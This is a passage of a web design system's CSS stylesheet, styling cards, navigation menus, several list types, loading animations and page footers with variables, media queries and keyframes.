word-break: break-word
}
}
.horizontal-card__preheadline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.horizontal-card__preheadline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__preheadline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__preheadline--large-nowrap {
white-space:nowrap
}
}
.horizontal-card__preheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.horizontal-card__preheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__preheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__preheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.horizontal-card__subheadline {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--third-level-headline-size,16px);
line-height: var(--third-level-headline-line-height,1.5em);
margin-bottom: 6px;
margin-top: 0
}
.horizontal-card__subheadline--break-all {
word-break: break-all
}
.horizontal-card__subheadline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.horizontal-card__subheadline--small-break-all {
word-break:break-all
}
.horizontal-card__subheadline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__subheadline--medium-break-all {
word-break:break-all
}
.horizontal-card__subheadline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__subheadline--large-break-all {
word-break:break-all
}
.horizontal-card__subheadline--large-break-word {
word-break: break-word
}
}
.horizontal-card__subheadline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.horizontal-card__subheadline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__subheadline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__subheadline--large-nowrap {
white-space:nowrap
}
}
.horizontal-card__subheadline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.horizontal-card__subheadline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__subheadline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__subheadline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.horizontal-card__subheadline--success {
color: var(--success-text-color,#096b35)
}
.horizontal-card__subheadline--warning {
color: var(--warning-text-color,#c36b00)
}
.horizontal-card__subheadline--critical {
color: var(--critical-text-color,#c80a00)
}
.horizontal-card__subheadline--neutral {
color: var(--neutral-text-color,#465a75)
}
.horizontal-card__subheadline--activating {
color: var(--activating-text-color,#007e9c)
}
.horizontal-card__subheadline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.horizontal-card__subheadline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__subheadline--bright {
color: var(--white,#fff)
}
.horizontal-card__action-container {
display: flex
}
.horizontal-card__action-container:last-child {
margin-bottom: -12px
}
.horizontal-card__flyout {
flex-grow: 1;
margin-left: 24px;
margin-top: 2px;
text-align: right
}
@media only screen and (max-width: 666px) {
.horizontal-card__flyout {
position:absolute;
right: 16px
}
}
.horizontal-card__action-container .context-menu__list {
right: 8px
}
@media only screen and (max-width: 666px) {
.horizontal-card {
flex-flow:column;
margin-bottom: 16px
}
.horizontal-card__content,.horizontal-card__header {
width: 100%
}
.horizontal-card__visual {
position: inherit;
width: 100%
}
.headless-mode .horizontal-card--headless-hidden,.headless-mode .horizontal-card__footer--headless-hidden,.headless-mode .horizontal-card__section--headless-hidden {
display: none
}
}
.left-navigation {
background-color: var(--white,#fff);
border-radius: 0 var(--default-border-radius,16px) var(--default-border-radius,16px) 0;
border-right: 1px solid var(--tertiary-shape-color,#bcc8d4);
bottom: 0;
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095);
display: flex;
flex-direction: column;
left: 0;
overflow-y: auto;
position: fixed;
top: 64px;
transition: left .2s ease-out 0s,top .2s ease-out 0s;
width: 268px;
will-change: left;
z-index: 80
}
@media only screen and (max-width: 666px) {
.left-navigation {
border-radius:0 var(--small-border-radius,8px) var(--small-border-radius,8px) 0
}
}
.left-navigation__section {
display: flex;
flex: 1 1 auto;
flex-direction: column;
margin-bottom: 0;
min-height: 0;
min-width: 0;
padding: 16px 0
}
.left-navigation__section--secondary {
background-color: var(--default-background-color,#f4f7fa);
flex: 0 1 auto
}
.left-navigation__block {
-webkit-overflow-scrolling: touch;
overflow-x: hidden;
overflow-y: auto;
padding: 0 16px
}
.left-navigation__headline {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--default-text-size,14px);
margin-bottom: 4px
}
.left-navigation__splitter {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin: 0 0 8px
}
.left-navigation__link-list {
margin: 4px 0 16px -8px
}
.left-navigation__link-list:last-child {
margin-bottom: 0
}
.left-navigation__link-list>li {
line-height: 1.5em;
margin-bottom: 0;
margin-left: inherit;
text-indent: inherit
}
.left-navigation__link-list>li:last-child {
margin-bottom: 0
}
.left-navigation__second-level,.left-navigation__third-level {
margin: 0 0 3px
}
.left-navigation__link-list-link {
border-left: 3px solid transparent;
color: var(--default-text-color,#001b41);
display: block;
padding: 6px 0 6px 14px;
text-decoration: none
}
.left-navigation__link-list-link--active,.left-navigation__link-list-link:active,.left-navigation__link-list-link:focus,.left-navigation__link-list-link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.left-navigation__first-level-link {
color: var(--default-text-color,#001b41);
display: block;
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--default-text-size,14px);
padding: 6px 0;
text-decoration: none
}
.left-navigation__first-level-link--active,.left-navigation__first-level-link:active,.left-navigation__first-level-link:focus,.left-navigation__first-level-link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.left-navigation__first-level-link--collapsed {
line-height: inherit
}
.left-navigation__first-level-link--collapsed+.left-navigation__second-level {
display: none
}
.left-navigation__first-level-link--expanded {
line-height: inherit
}
.left-navigation__first-level-link--expanded+.left-navigation__second-level {
display: inherit
}
.left-navigation__second-level-link {
color: var(--default-text-color,#001b41);
display: block;
padding: 6px 0 6px 16px;
text-decoration: none
}
.left-navigation__second-level-link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.left-navigation__second-level-link--active,.left-navigation__second-level-link:active,.left-navigation__second-level-link:focus {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif)
}
.left-navigation__second-level-link--collapsed {
line-height: 1;
line-height: inherit;
margin-left: -1px;
padding-left: 0
}
.left-navigation__second-level-link--collapsed:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: normal;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.left-navigation__second-level-link--collapsed+.left-navigation__third-level {
display: none
}
.left-navigation__second-level-link--expanded {
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
line-height: 1;
line-height: inherit;
margin-left: -1px;
padding-left: 0
}
.left-navigation__second-level-link--expanded:before {
content: "";
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: normal;
padding-right: 4px;
vertical-align: top;
vertical-align: middle
}
.left-navigation__second-level-link--expanded+.left-navigation__third-level {
display: inherit
}
.left-navigation__third-level-link {
border-left: 3px solid var(--default-shadow-color,#718095);
color: var(--default-text-color,#001b41);
display: block;
margin-left: 16px;
padding: 6px 0 6px 14px;
text-decoration: none
}
.left-navigation__third-level-link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.left-navigation__third-level-link--active,.left-navigation__third-level-link:active,.left-navigation__third-level-link:focus {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif)
}
.left-navigation__toggle,.oao-navi-burger.left-navigation__toggle {
display: none
}
.left-navigation__blocker {
background-color: #000;
left: 0;
margin: 0;
opacity: 0;
position: fixed;
top: 0;
transition: opacity .2s ease-out;
z-index: 79
}
.oao-pi-flyin .left-navigation {
left: -268px;
overflow-x: hidden;
overflow-y: hidden
}
@media only screen and (max-width: 1184px) {
.left-navigation {
left:-268px;
overflow-x: hidden;
overflow-y: hidden
}
.left-navigation__toggle,.oao-navi-burger.left-navigation__toggle {
display: inherit
}
.__left-navigation-active {
overflow-x: hidden;
overflow-y: hidden;
position: fixed;
width: 100%
}
.__left-navigation-active .left-navigation {
left: 0
}
.__left-navigation-active .left-navigation__blocker {
bottom: 0;
opacity: .62;
right: 0
}
}
.list {
color: var(--default-text-color,#001b41);
margin-bottom: 12px;
margin-top: 8px
}
.list--cropped {
margin-bottom: 0;
margin-top: 0
}
.list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.list--condensed>li {
margin-bottom: 0
}
.list--bright>li {
color: var(--white,#fff)
}
.list>li:last-child {
margin-bottom: 0
}
.list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.list--small-hidden {
display:none
}
}
.bullet-list {
color: var(--default-text-color,#001b41);
margin-bottom: 12px;
margin-top: 8px
}
.bullet-list--cropped {
margin-bottom: 0;
margin-top: 0
}
.bullet-list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.bullet-list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.bullet-list--condensed>li {
margin-bottom: 0
}
.bullet-list--bright>li {
color: var(--white,#fff)
}
.bullet-list>li:last-child {
margin-bottom: 0
}
.bullet-list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.bullet-list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.bullet-list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.bullet-list--small-hidden {
display:none
}
}
.bullet-list>li {
padding-left: 24px;
position: relative
}
.bullet-list>li:before {
font-family: exos-icon-font,sans-serif;
margin-left: -24px;
position: absolute
}
.bullet-list>li--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.bullet-list>li--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.bullet-list>li--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.bullet-list>li--small-hidden {
display:none
}
}
.bullet-list>li.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.bullet-list>li.exos-icon--bright:before {
color: var(--white,#fff)
}
.bullet-list>li.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.bullet-list>li.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.bullet-list>li.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.bullet-list>li.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.bullet-list>li.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.bullet-list>li.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.bullet-list>li.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.bullet-list>li:before {
color: var(--default-text-color,#001b41);
content: "";
margin-top: 1px
}
.bullet-list>li.bullet-list__icon--success:before {
color: var(--success-text-color,#096b35)
}
.bullet-list>li.bullet-list__icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.bullet-list>li.bullet-list__icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.bullet-list>li.bullet-list__icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.bullet-list>li.bullet-list__icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.bullet-list>li.bullet-list__icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.bullet-list>li.bullet-list__icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.bullet-list>li.bullet-list__icon--bright:before {
color: var(--white,#fff)
}
.bullet-list>li.bullet-list__item--success {
color: var(--success-text-color,#096b35)
}
.bullet-list>li.bullet-list__item--warning {
color: var(--warning-text-color,#c36b00)
}
.bullet-list>li.bullet-list__item--critical {
color: var(--critical-text-color,#c80a00)
}
.bullet-list>li.bullet-list__item--neutral {
color: var(--neutral-text-color,#465a75)
}
.bullet-list>li.bullet-list__item--activating {
color: var(--activating-text-color,#007e9c)
}
.bullet-list>li.bullet-list__item--promoting {
color: var(--promoting-text-color,#560e8a)
}
.bullet-list>li.bullet-list__item--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.bullet-list--bright>li:before,.bullet-list>li.bullet-list__item--bright {
color: var(--white,#fff)
}
.check-list {
color: var(--default-text-color,#001b41);
margin-bottom: 12px;
margin-top: 8px
}
.check-list--cropped {
margin-bottom: 0;
margin-top: 0
}
.check-list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.check-list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.check-list--condensed>li {
margin-bottom: 0
}
.check-list--bright>li {
color: var(--white,#fff)
}
.check-list>li:last-child {
margin-bottom: 0
}
.check-list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.check-list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.check-list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.check-list--small-hidden {
display:none
}
}
.check-list>li {
padding-left: 24px;
position: relative
}
.check-list>li:before {
font-family: exos-icon-font,sans-serif;
margin-left: -24px;
position: absolute
}
.check-list>li--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.check-list>li--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.check-list>li--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.check-list>li--small-hidden {
display:none
}
}
.check-list>li.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.check-list>li.exos-icon--bright:before {
color: var(--white,#fff)
}
.check-list>li.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.check-list>li.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.check-list>li.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.check-list>li.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.check-list>li.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.check-list>li.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.check-list>li.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.check-list>li:before {
color: var(--default-text-color,#001b41);
content: ""
}
.check-list>li.check-list__icon--success:before {
color: var(--success-text-color,#096b35)
}
.check-list>li.check-list__icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.check-list>li.check-list__icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.check-list>li.check-list__icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.check-list>li.check-list__icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.check-list>li.check-list__icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.check-list>li.check-list__icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.check-list>li.check-list__icon--bright:before {
color: var(--white,#fff)
}
.check-list>li.check-list__item--success {
color: var(--success-text-color,#096b35)
}
.check-list>li.check-list__item--warning {
color: var(--warning-text-color,#c36b00)
}
.check-list>li.check-list__item--critical {
color: var(--critical-text-color,#c80a00)
}
.check-list>li.check-list__item--neutral {
color: var(--neutral-text-color,#465a75)
}
.check-list>li.check-list__item--activating {
color: var(--activating-text-color,#007e9c)
}
.check-list>li.check-list__item--promoting {
color: var(--promoting-text-color,#560e8a)
}
.check-list>li.check-list__item--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.card__section--advertising .check-list>li:before,.check-list--bright>li:before,.check-list>li.check-list__item--bright {
color: var(--white,#fff)
}
.icon-list {
color: var(--default-text-color,#001b41);
margin-bottom: 12px;
margin-top: 8px
}
.icon-list--cropped {
margin-bottom: 0;
margin-top: 0
}
.icon-list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.icon-list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.icon-list--condensed>li {
margin-bottom: 0
}
.icon-list--bright>li {
color: var(--white,#fff)
}
.icon-list>li:last-child {
margin-bottom: 0
}
.icon-list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.icon-list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.icon-list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.icon-list--small-hidden {
display:none
}
}
.icon-list>li {
padding-left: 24px;
position: relative
}
.icon-list>li:before {
color: var(--default-text-color,#001b41);
font-family: exos-icon-font,sans-serif;
margin-left: -24px;
position: absolute
}
.icon-list>li--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.icon-list>li--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.icon-list>li--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.icon-list>li--small-hidden {
display:none
}
}
.icon-list>li.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.icon-list>li.exos-icon--bright:before {
color: var(--white,#fff)
}
.icon-list>li.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.icon-list>li.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.icon-list>li.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.icon-list>li.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.icon-list>li.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.icon-list>li.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.icon-list>li.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.icon-list>li.icon-list__icon--success:before {
color: var(--success-text-color,#096b35)
}
.icon-list>li.icon-list__icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.icon-list>li.icon-list__icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.icon-list>li.icon-list__icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.icon-list>li.icon-list__icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.icon-list>li.icon-list__icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.icon-list>li.icon-list__icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.icon-list>li.icon-list__icon--bright:before {
color: var(--white,#fff)
}
.icon-list>li.icon-list__item--success {
color: var(--success-text-color,#096b35)
}
.icon-list>li.icon-list__item--warning {
color: var(--warning-text-color,#c36b00)
}
.icon-list>li.icon-list__item--critical {
color: var(--critical-text-color,#c80a00)
}
.icon-list>li.icon-list__item--neutral {
color: var(--neutral-text-color,#465a75)
}
.icon-list>li.icon-list__item--activating {
color: var(--activating-text-color,#007e9c)
}
.icon-list>li.icon-list__item--promoting {
color: var(--promoting-text-color,#560e8a)
}
.icon-list>li.icon-list__item--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.icon-list--bright>li:before,.icon-list>li.icon-list__item--bright {
color: var(--white,#fff)
}
.ordered-list {
color: var(--default-text-color,#001b41);
counter-reset: orderedList;
margin-bottom: 12px;
margin-left: 25px;
margin-top: 8px
}
.ordered-list--cropped {
margin-bottom: 0;
margin-top: 0
}
.ordered-list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.ordered-list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.ordered-list--condensed>li {
margin-bottom: 0
}
.ordered-list--bright>li {
color: var(--white,#fff)
}
.ordered-list>li:last-child {
margin-bottom: 0
}
.ordered-list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.ordered-list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ordered-list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.ordered-list--small-hidden {
display:none
}
}
.ordered-list>li:before {
background: var(--default-shape-color,#465a75);
border-radius: 50%;
color: var(--white,#fff);
content: counter(orderedList);
counter-increment: orderedList;
font-size: var(--small-text-size,12px);
font-weight: 700;
height: 18px;
line-height: 18px;
margin-left: -25px;
margin-top: 2px;
position: absolute;
text-align: center;
width: 18px
}
.ordered-list>li.ordered-list__icon--bright:before {
background-color: var(--white,#fff)
}
.ordered-list>li.ordered-list__icon--activating:before {
background-color: var(--solid-activating-background-color,#11c7e6)
}
.ordered-list>li.ordered-list__icon--success:before {
background-color: var(--solid-success-background-color,#12cf76)
}
.ordered-list>li.ordered-list__icon--warning:before {
background-color: var(--solid-warning-background-color,#fa0)
}
.ordered-list>li.ordered-list__icon--critical:before {
background-color: var(--solid-critical-background-color,#ff6159)
}
.ordered-list>li.ordered-list__icon--neutral:before {
background-color: var(--solid-neutral-background-color,#465a75)
}
.ordered-list>li.ordered-list__item--bright {
color: var(--white,#fff)
}
.ordered-list>li.ordered-list__item--activating {
color: var(--activating-text-color,#007e9c)
}
.ordered-list>li.ordered-list__item--success {
color: var(--success-text-color,#096b35)
}
.ordered-list>li.ordered-list__item--warning {
color: var(--warning-text-color,#c36b00)
}
.ordered-list>li.ordered-list__item--critical {
color: var(--critical-text-color,#c80a00)
}
.ordered-list>li.ordered-list__item--neutral {
color: var(--neutral-text-color,#465a75)
}
.ordered-list--bright>li:before {
background: var(--white,#fff);
color: var(--primary-text-color,#02102b)
}
.link-list {
color: var(--default-text-color,#001b41);
margin-bottom: 12px;
margin-top: 8px
}
.link-list--cropped {
margin-bottom: 0;
margin-top: 0
}
.link-list>li {
line-height: 1.5em;
margin-bottom: 8px
}
.link-list>li .svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.link-list--condensed>li,.link-list>li:last-child {
margin-bottom: 0
}
.link-list--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.link-list--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.link-list--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.link-list--small-hidden {
display:none
}
}
.link-list>li {
margin-bottom: 0;
margin-left: inherit;
text-indent: inherit
}
.link-list--bright>li {
color: var(--white,#fff)
}
.link-list__link {
border-left: 3px solid var(--secondary-shape-color,#97a3b4);
color: var(--default-text-color,#001b41);
display: inherit;
line-height: 1.714em;
padding: 6px 0 6px 14px;
text-decoration: none
}
.link-list__link.__hover,.link-list__link:hover {
border-color: var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.loading-circle {
display: inline-block;
font-size: 10px;
min-width: 55px
}
.loading-circle:after {
clear: both;
content: "";
display: table
}
.loading-circle__circle {
-webkit-animation-direction: normal;
animation-direction: normal;
-webkit-animation-duration: 1.3s;
animation-duration: 1.3s;
-webkit-animation-iteration-count: infinite;
animation-iteration-count: infinite;
-webkit-animation-name: keyframes--loading-circle;
animation-name: keyframes--loading-circle;
border-radius: 20px;
float: left;
height: 1em;
margin-left: .6em;
width: 1em
}
.loading-circle__circle:first-child {
-webkit-animation-delay: 0s;
animation-delay: 0s
}
.loading-circle__circle:nth-child(2) {
-webkit-animation-delay: .3s;
animation-delay: .3s
}
.loading-circle__circle:nth-child(3) {
-webkit-animation-delay: .5s;
animation-delay: .5s
}
.loading-circle--small {
font-size: 5px;
min-width: inherit
}
.loading-circle--bright .loading-circle__circle {
-webkit-animation-name: keyframes--loading-circle-bright;
animation-name: keyframes--loading-circle-bright
}
.loading-circle--secondary .loading-circle__circle {
-webkit-animation-name: keyframes--loading-circle-secondary;
animation-name: keyframes--loading-circle-secondary
}
@-webkit-keyframes keyframes--loading-circle {
0% {
background-color: var(--interactive-text-color,#1474c4)
}
50% {
background-color: transparent
}
to {
background-color: var(--interactive-text-color,#1474c4)
}
}
@keyframes keyframes--loading-circle {
0% {
background-color: var(--interactive-text-color,#1474c4)
}
50% {
background-color: transparent
}
to {
background-color: var(--interactive-text-color,#1474c4)
}
}
@-webkit-keyframes keyframes--loading-circle-secondary {
0% {
background-color: var(--tertiary-background-color-inverted,#718095)
}
50% {
background-color: transparent
}
to {
background-color: var(--tertiary-background-color-inverted,#718095)
}
}
@keyframes keyframes--loading-circle-secondary {
0% {
background-color: var(--tertiary-background-color-inverted,#718095)
}
50% {
background-color: transparent
}
to {
background-color: var(--tertiary-background-color-inverted,#718095)
}
}
@-webkit-keyframes keyframes--loading-circle-bright {
0% {
background-color: var(--white,#fff)
}
50% {
background-color: transparent
}
to {
background-color: var(--white,#fff)
}
}
@keyframes keyframes--loading-circle-bright {
0% {
background-color: var(--white,#fff)
}
50% {
background-color: transparent
}
to {
background-color: var(--white,#fff)
}
}
.loading-spin {
-webkit-animation: keyframes--loading-spin 1s linear 0s infinite normal none running;
animation: keyframes--loading-spin 1s linear 0s infinite normal none running;
border-radius: 80%;
height: 90px;
margin: 0 auto;
position: relative;
width: 90px
}
.loading-spin:before {
background: transparent;
background-image: linear-gradient(to bottom,transparent,var(--interactive-text-color,#1474c4));
border-radius: 0 90px 90px 0;
height: 90px;
right: 0;
top: 0;
width: 50%
}
.loading-spin:after,.loading-spin:before {
content: "";
display: block;
position: absolute;
z-index: 1
}
.loading-spin:after {
background: var(--default-background-color,#f4f7fa);
border-radius: 90px;
height: 70px;
left: 50%;
top: 50%;
-webkit-transform: translate(-50%,-50%);
transform: translate(-50%,-50%);
width: 70px
}
.loading-spin--bright:before {
background: var(--white,#fff);
background-image: linear-gradient(to bottom,transparent,var(--interactive-text-color,#1474c4))
}
.loading-spin--bright:after {
background: var(--white,#fff)
}
.loading-spin--advertising:before {
background: transparent;
background-image: linear-gradient(to bottom,transparent,var(--white,#fff))
}
.loading-spin--advertising:after {
background: var(--corporate-shape-color,#001b41)
}
.loading-spin--beta:before {
background: transparent;
background-image: linear-gradient(to bottom,transparent,var(--white,#fff))
}
.loading-spin--beta:after {
background: var(--default-background-color-inverted,#0b2a63)
}
@-webkit-keyframes keyframes--loading-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg)
}
to {
-webkit-transform: rotate(1turn);
transform: rotate(1turn)
}
}
@keyframes keyframes--loading-spin {
0% {
-webkit-transform: rotate(0deg);
transform: rotate(0deg)
}
to {
-webkit-transform: rotate(1turn);
transform: rotate(1turn)
}
}
.loading-square {
left: 50%;
margin: -25px 0 0 -25px;
position: absolute;
top: 50%
}
.loading-square>div {
-webkit-animation: keyframes--loading-square 3s cubic-bezier(.09,.57,.49,.9) 0s infinite;
animation: keyframes--loading-square 3s cubic-bezier(.09,.57,.49,.9) 0s infinite;
-webkit-animation-delay: .15s;
animation-delay: .15s;
background: var(--interactive-text-color,#1474c4);
border: 1px solid var(--white,#fff);
height: 50px;
opacity: 0;
width: 50px
}
@-webkit-keyframes keyframes--loading-square {
25% {
opacity: .25;
-webkit-transform: perspective(100px) rotateX(180deg) rotateY(0);
transform: perspective(100px) rotateX(180deg) rotateY(0)
}
50% {
opacity: .5;
-webkit-transform: perspective(100px) rotateX(180deg) rotateY(180deg);
transform: perspective(100px) rotateX(180deg) rotateY(180deg)
}
75% {
opacity: .75;
-webkit-transform: perspective(100px) rotateX(0) rotateY(180deg);
transform: perspective(100px) rotateX(0) rotateY(180deg)
}
to {
opacity: 1;
-webkit-transform: perspective(100px) rotateX(0) rotateY(0);
transform: perspective(100px) rotateX(0) rotateY(0)
}
}
@keyframes keyframes--loading-square {
25% {
opacity: .25;
-webkit-transform: perspective(100px) rotateX(180deg) rotateY(0);
transform: perspective(100px) rotateX(180deg) rotateY(0)
}
50% {
opacity: .5;
-webkit-transform: perspective(100px) rotateX(180deg) rotateY(180deg);
transform: perspective(100px) rotateX(180deg) rotateY(180deg)
}
75% {
opacity: .75;
-webkit-transform: perspective(100px) rotateX(0) rotateY(180deg);
transform: perspective(100px) rotateX(0) rotateY(180deg)
}
to {
opacity: 1;
-webkit-transform: perspective(100px) rotateX(0) rotateY(0);
transform: perspective(100px) rotateX(0) rotateY(0)
}
}
.page-footer {
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
grid-area: footer
}
.page-footer--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.page-footer--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.page-footer--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.page-footer--small-hidden {
display:none
}
}
.page-footer__block {
background-color: var(--white,#fff);
color: var(--default-text-color,#001b41);
padding: 32px;
position: relative
}
.page-footer__section {
display: flex;
margin-bottom: 0;
margin-left: -15px;
margin-right: -15px
}
.page-footer__section--separator {
border-bottom: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.page-footer__section--align-center {
justify-content: center;
text-align: center
}
.page-footer__section--align-left {
justify-content: flex-start;
text-align: left
}
.page-footer__section--align-right {
justify-content: flex-end;
